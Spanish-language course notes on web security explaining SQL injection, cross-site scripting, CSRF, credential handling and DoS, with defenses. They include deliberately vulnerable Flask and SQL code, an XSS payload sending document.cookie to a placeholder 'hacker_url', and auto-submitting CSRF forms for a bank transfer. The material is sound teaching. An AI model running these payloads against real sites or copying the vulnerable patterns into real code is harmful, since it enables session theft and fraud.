**Seguridad**

**Software de Código Abierto**

* El código de este tipo de software está abiertamente disponible para cualquiera a quien le gustaría verlo ó desarrollar y contribuir a él. En términos de seguridad, el software de código abierto podría ser considerado más seguro porque puede ser visto por cualquiera. Por otro lado, cualquier vulnerabilidad podría ser aprovechada por cualquiera que pueda encontrarlas.
* Con GitHub en particular, los repositorios pueden ser privados y ser restringidos a ciertos usuarios, pero si alguien gana acceso a una cuenta de GitHub, esos repositorios aún son accesibles fácilmente.
  + Los sitios podrían intentar prevenir simple hackeo de cuentas de usuario al limitar los intentos de inicio de sesión a una frecuencia dada, al implementar un sistema de usuarios más riguroso que implemente autenticación doble, por ejemplo. La autenticación doble requiere acceso a un dispositivo físico, como un teléfono, para verificar la identidad del usuario.
* Con Git u otros sistemas de control de versiones en general, es importante que información sensible, como contraseñas o información, no sea subida a un repositorio. Si tal situación sucediese, incluso realizar otro commit removiendo esas credenciales no sería seguro. Debido a la naturaleza del control de versiones, todos los commits anteriores aún son visibles.
  + Es posible revertir a un commit antiguo y recortar commits extras y subir forzosamente eso a GitHub, pero todo ese código debería ser considerado como comprometido. Cualquier credencial comprometida debería ser cambiada con una nueva.

**HTML**

* Ya que el código fuente HTML de cualquier página puede ser visto y copiado fácilmente, el HTML del sitio web de algún banco podría ser replicado para engañar usuarios y que ingresen sus credenciales.
* Los enlaces en particular son fácilmente abusados. Cualquier enlace puede ser modificado para redirigir usuarios a un página web diferente plenamente para engañar usuarios en hacer algo. El texto interior de un enlace, el cual es mostrado a un usuario, puede ser cambiado para ser completamente diferente a lo que realmente es el enlace.
* Desde el lado del usuario, una forma de defenderse contra estas vulnerabilidades de seguridad es ser cuidadoso con respecto a qué enlaces se les hace click. Los navegadores web a menudo muestran en una barra de estado, o en algún otro elemento de la interfaz, el enlace real.
* Fundamentalmente, no hay forma de evitar que el HTML de un sitio web sea visto o copiado porque el servidor tiene que enviar el código fuente HTML a un usuario para que la página web sea procesada por el navegador.

**Flask**

* Con Flask, y cualquier otro servidor web, paquetes de información están siendo enviados entre rutas, lo que genera nuevas preocupaciones de seguridad. En ocasiones, una sola solicitud hecha a un servidor viajará a través de múltiples enrutadores. Cualquiera de esos puntos intermedios podría leer potencialmente cualquier parte de la información siendo pasada.

**Criptografía**

* La criptografía es el proceso de encriptar el tráfico viajando a través de estos enrutadores de tal forma que un intermediario no pueda leer los datos.
* La criptografía de llave secreta consiste en que ambos, el remitente y el destinatario, conozcan una llave secreta que puede ser usada, junto con un algoritmos criptográfico, para codificar y decodificar el mensaje. La versión encriptada es llamada ‘texto cifrado’. La versión sin cifrar es ‘texto plano’.
  + Para que este sistema funcione, solo el remitente y el destinatario pueden conocer la llave, lo que quiere decir que la llave no puede ser transmitida junto al texto cifrado.
* La criptografía de llave pública usa dos llaves, una llave pública y una llave privada. La llave pública solo puede ser usada para encriptar información, mientras que la llave privada, la cual nunca debería ser compartida o enviada a través de la red, puede ser usada para descifrar información.
  + Cada vez que un mensaje necesita ser enviado, el destinatario envía su llave pública, la cual puede ser conocida, al remitente, quien usa la llave para encriptar el mensaje. La llave privada del destinatario es la única llave que puede ser usada para descifrar el texto cifrado. No importa, por lo tanto, que intermediarios puedan tener la llave pública.
* Como se ha visto, las contraseñas y otras credenciales jamás deberían ser puestas en código fuente. Lo que debería ser hecho es, en su lugar, establecer parámetros como claves secretas usando variables de ambiente, las cuales están ubicadas dentro del sistema en el que el programa está siendo ejecutado, pero no en el código del programa mismo.

**SQL**

* Cuando se almacena información de usuarios, como nombres de usuario y contraseñas, en una base de datos, información sensible como contraseñas debería ser encriptada. Específicamente, la versión ‘hash’, la cual la salida de una función hash, la cual genera deterministicamente una secuencia basada en la entrada, la cual es la contraseña como texto plano.
  + Las funciones hash son generalmente diseñadas para funcionar en una sola dirección, de tal forma que no sea viable descifrar una contraseña en forma de hash.
  + Si una función hash es conocida, usuarios maliciosos que hayan ganado acceso a una base de datos aún podrían procesar contraseñas comunes con la función hash para compararles con los hashes en la tabla.
* Fuga de base de datos hace referencia a cualquier información que es liberada de forma no intencional de una base de datos. Un ejemplo podría ser una página de reinicio de contraseña, donde un usuario puede ingresar el e-mail para obtener un enlace para reestablecer una contraseña. Si el sitio tiene un mensaje para “e-mail enviado” y otro mensaje para “e-mail no está ligado a ninguna cuenta”, entonces usuarios pueden averiguar si un e-mail está asociado con una cuenta. Esta información, incluso si no compromete la cuenta, aún podría ser sensible.

**Inyección SQL**

* Inyección SQL consiste en enviar, a través de un formulario o de otra forma, código SQL a un servidor web, el cual luego ejecuta ese código dentro de una base de datos. Esto es una vulnerabilidad potencial si la entrada de usuario está siendo pasada directamente dentro de un comando de forma similar a:

username **=** request.form.get("username")

password **=** request.form.get("password")

user **=** db.execute("SELECT \* FROM users WHERE (username = '" **+** username **+** "') AND (password = '" **+** password **+** "')").first()

* Para evitar esto, cualquier entrada que sea pasada, de una forma u otra, dentro de un comando debería tener caracteres potencialmente peligrosos, como , desinfectados. En algunas ocasiones, esta desinfección de entrada es hecha automáticamente cuando se usa librerías como SQLAlchemy.

**APIs**

* Cuando se diseña APIs, es a menudo importante asegurar que ciertos usuarios solo tengan acceso a cierta información. Para mantener registro de los usuarios, llaves de API, simplemente cadenas extensas, son generadas y asociadas con cada usuario. Cada vez que una solicitud a la API es hecha, una llave de API debe ser pasada junto a ella.
* Las llaves de API permiten “autenticación de ruta”, o verificación de que un usuario tenga permiso de acceder a ciertas rutas. También pueden ser usadas para “limitación de tarifa”, o asegurarse de que un usuario sólo pueda hacer una cantidad limitada de solicitudes.

**JavaScript**

* Mientras HTML y CSS pueden ser abusados, solo afectan cómo el navegador procesa una página web. Con JavaScript surge la posibilidad para que código malicioso sea ejecutado dentro del navegador.

**Cross-Site Scripting**

* De forma similar a cómo inyección SQL abusa la posibilidad para que usuarios modifiquen el código que está siendo ejecutado en una base de datos, cross-site scripting consiste en ejecutar cierto código JavaScript arbitrario dentro del navegador. Este es un ejemplo de una aplicación Flask que es vulnerable a tal ataque:

**from** flask **import** Flask, request

app **=** Flask(\_\_name\_\_)

**@**app.route("/")

def index():

**return** "Hello, world!"

**@**app.errorhandler(404)

def page\_not\_found(**e**)

return "Not Found: " + request.path

* page\_not\_found va a ser ejecutada siempre que el servidor retorne un código de respuesta ‘404 Not Found’, gracias al manejador de errores incorporado en Flask.
* request.path es el URL al que el usuario intentó acceder, pero no fue encontrado por el servidor.
* Si, en lugar de una ruta incorrecta, el usuario ingresara algún código JavaScript en el URL (por ejemplo, /<script>alert('hi')</script> ), entonces ese código será procesado en el HTML y ejecutado.
* Varios navegadores actuales, tales como Chrome, tienen ‘oyentes’ para cross-site scripting incorporados que detectarán casos relativamente simples, como el ejemplo previo, y no procesarán la página. Sin embargo, hay casos que pasarán dichos oyentes, y no todos los navegadores tendrán tal característica.
* Casos más peligrosos de cross-site scripting pueden comprometer contraseñas, información de tarjetas de crédito, etc. Tome el siguiente script, por ejemplo:

/<script>document.**write**('<img src="hacker\_url?cookie="+document.cookie+">"')</script>

* document.write añade nuevo contenido al HTML original.
* El contenido añadido es una imagen, con un URL a un sitio desconocido, pero también está siendo pasado como una cookie document.cookie , el cual representa la cookie para la página actual. Si un hacker está monitoreando el tráfico hacia el servidor web, entonces esta solicitud, que contiene la cookie usada para el sitio actual, está comprometida. El hacker puede entonces usar esa cookie para iniciar sesión como ese usuario en el sitio actual. Estas son el tipo de vulnerabilidades de las que los oyentes para cross-site scripting intentan proteger.
* Una defensa en contra de cross-site scripting, como en inyección SQL, es asegurarse de ‘desinfectar’ cualquier carácter potencialmente peligroso. Marcos de trabajo como Flask y Django a menudo pueden ser configurados para hacer esto automáticamente.
* Cross-site scripting no requiere que JavaScript sea pasado a través del URL. Este es un ejemplo que abusa una base de datos:

@app.route("/", **methods=**["GET", "POST"])

def index():

**if** request.method **==** "POST":

contents **=** request.form.get("contents")

db.execute("INSERT INTO messages (contents) VALUES (:contents)", {"contents": contents})

messages **=** db.execute("SELECT \* FROM messages").fetchall()

**return** render\_template("index.html", **messages=**messages)

* Esta es una simple aplicación de un tablero de mensajes/notas en la que usuarios pueden ingresar mensajes para almacenar en una base de datos. Cada vez que la página es recargada, todos los mensajes anteriores son cargados.
* Ahora, en lugar de engañar al usuario para que haga una solicitud con JavaScript malicioso en el URL, todo lo que necesita es ingresar ese código como un mensaje. La primera vez que el mensaje es enviado, es enviado al servidor, lo que significa que es poco probable que un oyente para cross-site scripting lo atrape. Luego de eso, sin embargo, no hay nada sospechoso acerca del URL. El código está siendo cargado del lado del servidor desde la base de datos, lo que significa que un oyente no será capaz de detectarlo, haciendo esta vulnerabilidad considerablemente más severa.
* Otros ejemplos de usos maliciosos de cross-site scripting incluyen procesar una página completamente distinta con document.body.innerHTML = "insert contents here" , redirigir a un sitio diferente con window.location = "hacker\_URL" , etc.
* Nótese que para el ejemplo previo, el HTML tuvo que ser escrito intencionalmente para evadir el comportamiento incorporado de Flask de desinfectar caracteres:

<ul>

{% for message in messages %}

<li>{{ message.contents | safe }}</li>

{% endfor %}

</ul>

* message | safe indica que nada debe ser desinfectado.
* Nótese que siempre que contenido de plantilla es generado manualmente, como a través de concatenación de cadenas en el primer ejemplo, este tipo de defensas automáticas son sobrepasadas de igual forma.

**Django**

**Cross-Site Request Forgery**

* Cross-site request forgery (CSRF) consiste en falsificar una solicitud a un sitio web en el que el usuario ya haya iniciado sesión. Considere el sitio web de un banco, que permite transferencias de dinero en /transfer al pasar el beneficiario y la cantidad. Hay algún HTML que podría aprovechar eso:

<body>

<a href="http://yourbank.com/transfer?to=brian&amt=2800">

Click Here!

</a>

</body>

* Si el usuario ya ha iniciado sesión en el banco, entonces simplemente seguir dicho enlace iniciará la transferencia.
* El banco se podría defender de esta clase de intrusión al no usar una solicitud GET para este tipo de funcionalidad. En general, es buena práctica usar solicitudes POST en envíos de formularios, en lugar de solicitudes GET , para cualquier modificación de estado como esta.
* Una versión más maliciosa del abuso de vulnerabilidad anterior usa el mismo truco de poner el enlace dentro de un elemento img , de tal forma que el usuario no necesite siquiera hacer algo aparte de cargar la página para activar la transacción.

<body>

<img src="http://yourbank.com/transfer?to=brian&amt=2800">

</body>

* Incluso si el banco fue lo suficientemente precavido como para requerir una solicitud POST para iniciar la transferencia, aún existe el potencial para el abuso.

<body>

<form action="https://yourbank.com/transfer" method="post">

<input type="hidden" name="to" value="brian">

<input type="hidden" name="amt" value="2800">

<input type="submit" value="Click Here!">

</form>

<body>

* Estos inputs, precargados con los valores deseados, no serán mostrados al usuario debido al atributo type="hidden" . Todo lo que el usuario ve es un botón.
* Al cambiar la primer etiqueta body del ejemplo previo, se puede hacer que el formulario se envíe automáticamente, sin que el usuario tenga siquiera que hacer algo.

<body onload="document.forms[0].submit()">

* document.forms[0] retorna el primer formulario en el documento, el cual ya está precargado con la información de la transacción bancaria. Tan pronto como se carga la página, la solicitud POST será hecha.
* La solución a esta vulnerabilidad es añadir una ‘ficha’ especial, esencialmente una contraseña, para ser enviada con cada formulario. Estas fichas son añadidas automáticamente por el servidor, y cuando el servidor ve una solicitud, puede comparar la ficha que recibe con la ficha que sabe haber insertado. De esta forma, solo se respetarán solicitudes de formulario válidas. Ya que una nueva ficha es generada con cada formulario, no pueden ser reusadas o robadas.
* Django y muchos otros marcos de trabajo web tienen soporte para esta funcionalidad de fichas CSRF. Con Django, añadir fichas CSRF es simple:

<form action="https://yourbank.com/transfer" method="post">

{% csrf\_token %}

<input type="hidden" name="to" value="brian">

<input type="hidden" name="amt" value="2800">

<input type="submit" value="Click Here!">

</form>

**Pruebas, CI/CD**

* Cuando se usa una herramienta de CI como Travis, esa herramienta tiene acceso a todo el código base. Ahora, si Travis o GitHub, por ejemplo, son comprometidos, también lo es el código base. Este es el caso siempre que cuentas o sitios otorgan a otras aplicaciones acceso a la información de usuario. Cuando se diseña servicios que comparten información, es importante ser cuidadoso cuando se elige con quién compartir. Los usuarios de estos servicios deberían ser cuidadosos sobre qué información está siendo potencialmente expuesta

**Escalabilidad**

**Ataques DoS**

* Ya que cualquier servidor es una máquina finita capaz de manejar un número finito de solicitudes, un hacker puede enviar un número excesivo de solicitudes en un corto lapso para intentar apagar el servidor. Esto es llamado ataque de ‘denegación de servicio’, o DoS (Denial of Service). Un ataque de denegación de servicio ‘distribuido’, o DDoS, consiste en usar una gran cantidad de bots o computadoras para hacer un número incluso mayor de solicitudes a un solo servidor.
* Una posible protección contra ataques DDoS es un sistema de filtrado para tratar de asegurar que solo sean respetadas solicitudes válidas. Si un usuario es sospechoso, podrían ser puestos en lista negra para prevenir que hagan alguna solicitud a futuro. Al final, sin embargo, a menudo se reduce a una batalla de recursos entre el atacante y el/los servidor(s). En algunas ocasiones, esto necesita ser abordado a nivel de servidor o ISP, en lugar de el nivel de aplicación, especialmente cuando se trabaja con una aplicación web amplia.